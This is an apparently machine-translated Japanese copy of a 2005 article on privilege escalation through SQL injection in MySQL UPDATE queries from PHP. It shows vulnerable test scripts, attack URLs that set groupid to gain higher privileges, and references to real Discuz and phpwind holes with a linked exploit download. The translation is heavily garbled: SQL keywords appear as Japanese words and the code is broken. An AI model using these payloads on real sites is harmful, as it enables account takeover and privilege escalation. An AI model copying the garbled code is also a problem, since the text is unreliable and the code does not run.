UPDATE注射(mysql+php)の二つのモード


UPDATE注射(mysql+php)の二つのモード 
                             文/安全天使・スーパーハーイ 2005.8.11 
一.試験環境: 
OS: Windowsxp sp 2 
php: php 4.3.10 ( 
mysql 4.1.9 
apache 1.3.33  
二.データベース構造をテストします。 
-----start--- 
-- データベース: `test` 
--  
-- -------------------------------------------------------- 
--  
-- テーブルの構造 `userinfo` 
--  
CREATE TABLE `userinfo` ( 
  `グループアップ` varrhar(12) NOT NULL default '1' 
  `user` varrhar(12) NOT NULL default 'ヘige 
  `パス` varrhar(122) NOT NULL default '123456 
) ENGINE=MyISAM DEFAULT CHARSET=latin 1 
--  
-- 表のデータをエクスポート `userinfo` 
--  
INSERT INTO `userinfo` VALES ('2' 'ヘige '123456 
--------end---- 
三.テストモード: 
1,変数には'''や'''が付いていません。 
<?php 
//test 1.php Mod 1 
$servername = "local host"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "test"; 
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。 
$s ql = "udate userinfo セット パス=$p where user=''heige'''//<-->Pはシングルクォーテーションを使用していません。 
$レスリング = mysqldb_query($dbname) $sql; 
$userinfo = mysqlfetcharray($result) 
echo "

SQL Query:$sql

"; 
? 
スクリプトはuser='heige'のパスを修正するだけです。groudidがユーザーの権限レベルを表しているなら、私たちの目的は$pを作成することです。 来達 
groupidを変更する目的: 
提出します。http://127.0.0.1/test1.php?p=123456を選択します。groudid=1 
mysqlで調べます 
mysql> プロジェクト * from userinfo; 
+----------------------++ 
𞓜 グループ | user  | パス   | 
+----------------------++ 
𞓜 1       | ヘige | 123456 | 
+----------------------++ 
1 row in セット (0.01 sec 
ユーザーのheigeのgroudidはまた2を1に変えました。 :) 
だから私たちはない'または'を得ることができます。 udateの注射は成功します。これが私達のモードです。 
2,変数バンド'''または'""MOD 2' 
<?php 
//test 2.php 
$servername = "local host"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "test"; 
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。 
$s ql = "udate userinfo セット パス='$p' where user=''heige'''//<-->Pはシングルクォーテーションを使用します 
$レスリング = mysqldb_query($dbname) $sql; 
$userinfo = mysqlfetcharray($result) 
echo "

SQL Query:$sql

"; 
? 
私たちの構造を閉じるためには$pは123456'であるべきです。groudid='2 送信: 
http://127.0.0.1/test2.php?p=123456',groudid='1 gpc=onの場合は'が\'になりました。 
提出された文はSQLになります。 Query:udate userinfo セット pass='123456\',groudid=\'1' where user='heige' 
mysqlクエリ: 
mysql> プロジェクト * from userinfo; 
+----------------------------++ 
𞓜 グループ | user  | パス               | 
+----------------------------++ 
𞓜 2       | ヘige | 123456',groudid='1 | 
+----------------------------++ 
1 row in セット (0.00 sec 
groudidは修正されていません。では、変数が'''または''によって変更された場合 全く注射されていませんか?いいえ 以下はモード2を見ます。 
<?php 
//test 3.php Mod 2 
$servername = "local host"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "test"; 
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。 
$s ql = "udate userinfo セット パス='$p' where user=''heige'''//<-->Pはシングルクォーテーションを使用します 
$レスリング = mysqldb_query($dbname) $sql; 
mysqlfetcharray($result)    //$pのデータをデータベースに書き込む 
$sql= "プロジェクト パス from userinfo where user='heige''  
$レスリング = mysqldb_query($dbname) $sql; 
$userinfo=mysql_fetcharray($result)  
echo $userinfo[0];  //パスクエリを$userinfo[0]に出力します。 
$s ql ="udate userinfo セット パス='USerinfo[0]' where user='heige'' 
$レスリング = mysqldb_query($dbname) $sql; 
mysqlfetcharray($result) //アメリカを[0] もう一度udate 
? 
テストして提出します。http://127.0.0.1/test3.php?p=123456',groudid='1 
mysqlに戻って調べてみます : 
mysql> プロジェクト * from userinfo; 
+----------------------++ 
𞓜 グループ | user  | パス   | 
+----------------------++ 
𞓜 1       | ヘige | 123456 | 
+----------------------++ 
1 row in セット (0.00 sec 
Ha~ 注射に成功する グループを1に変更します。 これは私達のモード2です。簡単な説明は以下の通りです。 
udate->select->udate 
四.実際モード 
モード1:Discuz 2.0/2.2 レジスター.php 注射する  
       脆弱性分析:http://4ngel.net/article/41.htm 
       Discuz 2.0/2.2 レジスター.php Remote Exploid :http://4ngel.net/project/discuz_reg.httm 
モード2:phpwind 2.0.2と3.31 e 権限アップホール  
       脆弱性分析: 
           udate (profile.php 注射変数は$proiconです。 udate文には、icon=''USerdb[icon]'があります。 
              v 
           プロジェクト (jop.php) 
              v 
           udtate (jop.php) 
       Exploid:http://www.huij.net/9xiao/up/phpwind-exploit.exe  
五.ありがとうございます 
   特にsaiyなどの友達の討論と助けに感謝します。Thanks!